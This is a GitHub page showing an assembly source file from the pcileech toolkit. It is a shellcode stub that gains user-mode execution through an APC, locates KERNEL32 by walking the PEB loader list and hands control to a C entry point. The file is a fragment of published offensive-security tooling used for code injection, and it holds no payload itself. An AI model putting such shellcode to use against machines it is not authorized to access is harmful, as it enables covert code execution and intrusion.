pcileech/pcileech_shellcode/wx64_exec_user.asm at master · security-geeks/pcileech · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
; wx64_exec_user.asm : assembly to receive execution from APC in user mode.
;
; (c) Ulf Frisk, 2016
; Author: Ulf Frisk, pcileech@frizk.net
;

EXTRN c_EntryPoint:NEAR

.CODE

main PROC
	label_main_base:
	; ----------------------------------------------------
	; 1: ENSURE ATOMICITY IN THREADED ENVIRONMENTS
	; ----------------------------------------------------
	MOV al, 00h
	MOV dl, 01h
	LEA rcx, data_cmpxchg_flag
	LOCK CMPXCHG [rcx], dl
	JNE skipcall
    ; ----------------------------------------------------
	; 2: Fetch code address
	; ----------------------------------------------------
	LEA rcx, label_main_base
	AND rcx, 0fffffffffffff000h
    ; ----------------------------------------------------
	; 3: Fetch KERNEL32 address
	; ----------------------------------------------------
	MOV  rdx, GS:[30h]    ; TEB
	MOV  rdx, [rdx + 60h] ; PEB
	MOV  rdx, [rdx + 18h] ; LDR
	MOV  rdx, [rdx + 20h] ; LIST_LOADED_MODULES
	MOV  rdx, [rdx]       ; NTDLL
	MOV  rdx, [rdx]       ; KERNEL32
	MOV  rdx, [rdx + 20h] ; ADDR of KERNEL32
    ; ----------------------------------------------------
	; 4: Call c-code and return
	; ----------------------------------------------------
	PUSH rsi
	MOV rsi, rsp
	AND rsp, 0FFFFFFFFFFFFFFF0h
	SUB rsp, 020h
	CALL c_EntryPoint
	MOV rsp, rsi
	POP rsi
	skipcall:
	RET
main ENDP

data_cmpxchg_flag		db 00h

END